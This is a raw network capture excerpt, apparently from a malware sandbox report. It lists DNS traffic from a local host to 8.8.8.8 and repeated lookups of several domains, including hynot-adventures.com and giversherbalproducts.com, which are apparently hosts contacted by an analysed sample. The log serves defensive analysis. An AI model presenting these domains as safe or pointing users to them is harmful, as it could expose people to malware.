Oct 4, 2021 16:04:04.847351074 CEST	61562	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:04.865793943 CEST	53	61562	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:04.911325932 CEST	53542	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:04.929737091 CEST	53	53542	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:05.618493080 CEST	49290	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:05.646228075 CEST	53	49290	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:05.651684046 CEST	50430	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:05.671710014 CEST	53	50430	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:05.807867050 CEST	59450	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:05.825814009 CEST	53	59450	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:06.572865009 CEST	58893	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:06.591614008 CEST	53	58893	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:06.598988056 CEST	59535	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:06.616869926 CEST	53	59535	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:06.708015919 CEST	60172	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:06.726072073 CEST	53	60172	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:07.513345003 CEST	52239	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:07.531229973 CEST	53	52239	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:07.537362099 CEST	62163	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:07.555145979 CEST	53	62163	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:07.712240934 CEST	62478	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:07.730232000 CEST	53	62478	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:08.311162949 CEST	54161	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:08.329896927 CEST	53	54161	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:08.334405899 CEST	62659	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:08.353105068 CEST	53	62659	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:08.587702036 CEST	51123	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:08.605485916 CEST	53	51123	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:09.135926008 CEST	50019	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:09.154150009 CEST	53	50019	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:09.160139084 CEST	58203	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:09.177862883 CEST	53	58203	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:09.379868984 CEST	58965	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:09.397866011 CEST	53	58965	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:09.977193117 CEST	56688	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:09.995023012 CEST	53	56688	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:10.004854918 CEST	59655	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:10.022738934 CEST	53	59655	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:10.179100990 CEST	65115	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:10.197271109 CEST	53	65115	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:10.778280973 CEST	61325	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:10.796456099 CEST	53	61325	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:10.806139946 CEST	59511	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:10.823929071 CEST	53	59511	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:10.968496084 CEST	53130	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:10.987013102 CEST	53	53130	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:11.727606058 CEST	54075	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:11.737026930 CEST	52915	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:11.746062994 CEST	53	54075	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:11.749547958 CEST	61702	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:11.754894972 CEST	53	52915	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:11.766083956 CEST	53	61702	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:12.524199009 CEST	51732	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:12.543385983 CEST	53	51732	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:12.590976000 CEST	50602	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:12.609298944 CEST	53	50602	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:12.613729000 CEST	58409	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:12.630281925 CEST	53	58409	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:13.411874056 CEST	57685	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:13.430363894 CEST	53	57685	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:13.480362892 CEST	55382	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:13.498629093 CEST	53	55382	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:13.505755901 CEST	64057	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:13.523816109 CEST	53	64057	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:14.304143906 CEST	60468	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:14.322264910 CEST	53	60468	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:14.342147112 CEST	56427	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:14.360483885 CEST	53	56427	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:14.364161015 CEST	57140	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:14.382448912 CEST	53	57140	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:15.165131092 CEST	59173	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:15.181638956 CEST	53	59173	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:15.251596928 CEST	56173	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:15.269340992 CEST	53	56173	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:15.273112059 CEST	57119	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:15.289110899 CEST	53	57119	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:16.089916945 CEST	61709	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:16.105863094 CEST	53	61709	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:16.207937002 CEST	56167	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:16.225892067 CEST	53	56167	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:16.235723972 CEST	64297	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:16.253535986 CEST	53	64297	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:16.980772972 CEST	59070	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:16.998881102 CEST	53	59070	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:17.037995100 CEST	61584	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:17.054598093 CEST	53	61584	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:17.058794022 CEST	49266	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:17.076562881 CEST	53	49266	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:17.780666113 CEST	64951	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:17.798556089 CEST	53	64951	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:17.798890114 CEST	54996	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:17.815941095 CEST	53	54996	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:17.826400995 CEST	62185	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:17.845973969 CEST	53	62185	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:18.743588924 CEST	52746	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:18.755757093 CEST	59490	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:18.761976957 CEST	53	52746	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:18.769524097 CEST	62485	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:18.771692038 CEST	53	59490	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:18.788568974 CEST	53	62485	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:19.597687960 CEST	62891	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:19.614320993 CEST	53	62891	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:19.621177912 CEST	49789	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:19.643738985 CEST	53	49789	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:19.752636909 CEST	56733	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:19.770807981 CEST	53	56733	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:20.483763933 CEST	54188	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:20.501980066 CEST	53	54188	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:20.511722088 CEST	52503	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:20.530587912 CEST	53	52503	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:20.678498030 CEST	62987	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:20.696583033 CEST	53	62987	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:21.413635015 CEST	64666	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:21.430094004 CEST	53	64666	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:21.437304974 CEST	62906	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:21.456296921 CEST	53	62906	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:21.596893072 CEST	49837	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:21.616421938 CEST	53	49837	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:22.198025942 CEST	58756	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:22.216366053 CEST	53	58756	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:22.220596075 CEST	51422	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:22.240331888 CEST	53	51422	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:22.385710001 CEST	54105	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:22.403028965 CEST	53	54105	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:23.287822962 CEST	52417	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:23.312469006 CEST	53	52417	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:23.324851990 CEST	60387	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:23.344599962 CEST	53	60387	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:23.727653027 CEST	56784	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:23.748565912 CEST	53	56784	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:25.170906067 CEST	50097	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:25.189812899 CEST	53	50097	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:25.232775927 CEST	62832	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:25.252691031 CEST	53	62832	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:25.703762054 CEST	50105	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:25.722111940 CEST	53	50105	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:26.125993967 CEST	56916	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:26.143767118 CEST	53	56916	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:26.149849892 CEST	57323	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:26.166659117 CEST	53	57323	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:26.826489925 CEST	65290	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:26.845611095 CEST	53	65290	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:27.100308895 CEST	62157	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:27.122755051 CEST	53	62157	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:27.128850937 CEST	49880	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:27.148716927 CEST	53	49880	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:27.620666981 CEST	56000	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:27.638866901 CEST	53	56000	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:28.121732950 CEST	65078	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:28.141030073 CEST	53	65078	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:28.148041010 CEST	50738	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:28.167196989 CEST	53	50738	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:28.485234022 CEST	57914	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:28.505954981 CEST	53	57914	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:28.975575924 CEST	53079	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:28.994983912 CEST	53	53079	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:29.272521973 CEST	58750	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:29.293059111 CEST	53	58750	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:29.836146116 CEST	54986	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:29.855042934 CEST	53	54986	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:30.162936926 CEST	61031	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:30.180708885 CEST	53	61031	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:30.650135994 CEST	61719	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:30.668546915 CEST	53	61719	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:31.134347916 CEST	65051	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:31.152273893 CEST	53	65051	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:31.450414896 CEST	59509	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:31.469486952 CEST	53	59509	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:31.948719978 CEST	58002	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:31.969218969 CEST	53	58002	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:32.454287052 CEST	49317	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:32.471401930 CEST	53	49317	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:32.748785019 CEST	57054	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:32.767283916 CEST	53	57054	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:33.285480022 CEST	65376	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:33.305224895 CEST	53	65376	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:33.835552931 CEST	61044	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:33.854981899 CEST	53	61044	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:34.281300068 CEST	50265	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:34.299360991 CEST	53	50265	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:34.838208914 CEST	51894	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:34.856122017 CEST	53	51894	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:35.098540068 CEST	50170	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:35.116594076 CEST	53	50170	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:35.754790068 CEST	62629	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:35.772994041 CEST	53	62629	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:36.030083895 CEST	61097	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:36.047863960 CEST	53	61097	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:36.625188112 CEST	51456	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:36.643013000 CEST	53	51456	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:36.993948936 CEST	65070	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:37.012183905 CEST	53	65070	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:37.521209955 CEST	64890	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:37.539055109 CEST	53	64890	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:37.768481016 CEST	49776	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:37.786815882 CEST	53	49776	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:38.356565952 CEST	49508	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:38.374624014 CEST	53	49508	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:38.579056025 CEST	64978	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:38.595509052 CEST	53	64978	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:39.217195034 CEST	58920	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:39.233187914 CEST	53	58920	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:39.318180084 CEST	62157	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:39.336165905 CEST	53	62157	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:39.935825109 CEST	62378	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:39.953632116 CEST	53	62378	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:40.208173037 CEST	58154	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:40.226655960 CEST	53	58154	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:40.862663984 CEST	55394	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:40.879511118 CEST	53	55394	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:41.017396927 CEST	53472	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:41.035438061 CEST	53	53472	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:41.160909891 CEST	62961	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:41.179369926 CEST	53	62961	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:41.810070038 CEST	62368	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:41.828788042 CEST	53	62368	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:41.835017920 CEST	51573	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:41.853686094 CEST	53	51573	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:42.370490074 CEST	65348	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:42.388884068 CEST	53	65348	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:42.674206972 CEST	62722	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:42.692301035 CEST	53	62722	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:42.941458941 CEST	64210	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:42.959688902 CEST	53	64210	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:43.432136059 CEST	53715	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:43.450861931 CEST	53	53715	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:43.651398897 CEST	61109	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:43.669136047 CEST	53	61109	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:44.290776968 CEST	63549	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:44.435333967 CEST	61668	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:44.443403959 CEST	53	63549	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:44.454422951 CEST	53	61668	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:45.041234970 CEST	53745	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:45.059448957 CEST	53	53745	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:56.324214935 CEST	51735	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:56.477972984 CEST	53	51735	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:57.078954935 CEST	60685	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:57.097237110 CEST	53	60685	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:58.149725914 CEST	57277	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:58.168282032 CEST	53	57277	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:58.903614044 CEST	64873	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:58.921700001 CEST	53	64873	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:59.552325964 CEST	56685	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:59.570779085 CEST	53	56685	8.8.8.8	192.168.2.3
Oct 4, 2021 16:05:00.150671005 CEST	51902	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:05:00.168824911 CEST	53	51902	8.8.8.8	192.168.2.3
Oct 4, 2021 16:05:01.325609922 CEST	51877	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:05:01.343904972 CEST	53	51877	8.8.8.8	192.168.2.3
Oct 4, 2021 16:05:01.761626959 CEST	58012	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:05:01.779867887 CEST	53	58012	8.8.8.8	192.168.2.3
Oct 4, 2021 16:05:02.386441946 CEST	62317	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:05:02.405769110 CEST	53	62317	8.8.8.8	192.168.2.3
Oct 4, 2021 16:05:02.415194988 CEST	60411	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:05:02.431816101 CEST	53	60411	8.8.8.8	192.168.2.3
Oct 4, 2021 16:05:03.285059929 CEST	63919	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:05:03.302818060 CEST	53	63919	8.8.8.8	192.168.2.3
Oct 4, 2021 16:05:03.342025995 CEST	60051	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:05:03.360259056 CEST	53	60051	8.8.8.8	192.168.2.3
Oct 4, 2021 16:05:04.164985895 CEST	50781	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:05:04.184842110 CEST	53	50781	8.8.8.8	192.168.2.3
Oct 4, 2021 16:05:04.190630913 CEST	57745	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:05:04.208344936 CEST	53	57745	8.8.8.8	192.168.2.3
Oct 4, 2021 16:05:05.154345989 CEST	54484	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:05:05.173182011 CEST	53	54484	8.8.8.8	192.168.2.3
Oct 4, 2021 16:05:34.201394081 CEST	55290	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:05:34.214787006 CEST	49270	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:05:34.233105898 CEST	53	49270	8.8.8.8	192.168.2.3
Oct 4, 2021 16:05:34.233511925 CEST	53	55290	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 4, 2021 16:03:17.489633083 CEST	192.168.2.3	8.8.8.8	d006	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 4, 2021 16:01:08.047281027 CEST	192.168.2.3	8.8.8.8	0x8e59	Standard query (0)	marianaleyton.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:08.713517904 CEST	192.168.2.3	8.8.8.8	0x45b3	Standard query (0)	profitshub.in	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:09.479688883 CEST	192.168.2.3	8.8.8.8	0x2b42	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:09.509063005 CEST	192.168.2.3	8.8.8.8	0x12bf	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:10.052825928 CEST	192.168.2.3	8.8.8.8	0x1045	Standard query (0)	marianaleyton.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:10.368160963 CEST	192.168.2.3	8.8.8.8	0xefd8	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:10.393450975 CEST	192.168.2.3	8.8.8.8	0x86dc	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:10.639436007 CEST	192.168.2.3	8.8.8.8	0x8804	Standard query (0)	profitshub.in	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:11.230045080 CEST	192.168.2.3	8.8.8.8	0xdf21	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:11.261671066 CEST	192.168.2.3	8.8.8.8	0xd96	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:11.277798891 CEST	192.168.2.3	8.8.8.8	0x47e5	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:11.303613901 CEST	192.168.2.3	8.8.8.8	0x7043	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:12.222353935 CEST	192.168.2.3	8.8.8.8	0x9df4	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:12.255230904 CEST	192.168.2.3	8.8.8.8	0x946f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:12.328159094 CEST	192.168.2.3	8.8.8.8	0x4fcd	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:12.355495930 CEST	192.168.2.3	8.8.8.8	0x5f29	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:13.165260077 CEST	192.168.2.3	8.8.8.8	0xb5b	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:13.192739964 CEST	192.168.2.3	8.8.8.8	0x65af	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:13.279158115 CEST	192.168.2.3	8.8.8.8	0x8c42	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:13.303796053 CEST	192.168.2.3	8.8.8.8	0xf444	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:14.176721096 CEST	192.168.2.3	8.8.8.8	0x1fb2	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:14.201535940 CEST	192.168.2.3	8.8.8.8	0xd466	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:14.344269037 CEST	192.168.2.3	8.8.8.8	0xa98e	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:14.368989944 CEST	192.168.2.3	8.8.8.8	0x7c19	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:15.138246059 CEST	192.168.2.3	8.8.8.8	0x3434	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:15.163659096 CEST	192.168.2.3	8.8.8.8	0x5913	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:15.174133062 CEST	192.168.2.3	8.8.8.8	0xa4c5	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:15.197182894 CEST	192.168.2.3	8.8.8.8	0xd7b9	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:16.050173044 CEST	192.168.2.3	8.8.8.8	0x4338	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:16.074281931 CEST	192.168.2.3	8.8.8.8	0xa575	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:16.127435923 CEST	192.168.2.3	8.8.8.8	0x2eac	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:16.163237095 CEST	192.168.2.3	8.8.8.8	0xe046	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:16.986181974 CEST	192.168.2.3	8.8.8.8	0x12ec	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.011149883 CEST	192.168.2.3	8.8.8.8	0x3c4c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.043487072 CEST	192.168.2.3	8.8.8.8	0x414	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
